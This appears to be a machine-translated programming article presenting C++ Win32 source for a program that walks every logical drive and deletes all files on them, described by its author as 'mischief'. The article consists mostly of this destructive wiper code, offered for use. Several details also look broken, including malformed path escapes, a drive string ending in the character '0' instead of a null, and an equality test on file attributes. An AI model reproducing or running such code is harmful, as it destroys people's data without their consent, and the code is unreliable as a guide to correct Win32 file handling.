Implement the method of traversing all files and deleting them based on Windows API

  • 2020-04-02 03:04:34
  • OfStack

This article illustrates the method of traversing all files and deleting them based on the Windows API. Share with you for your reference. Specific analysis is as follows:

Recently has been learning Windows API, made some fun things (a bit of mischief, please use with caution)...
The following is a small program that I write to delete all the files on the hard disk.


#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//recursive
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow       // show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','0'};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

Hope that this article described the win32 programming to help you.


Related articles: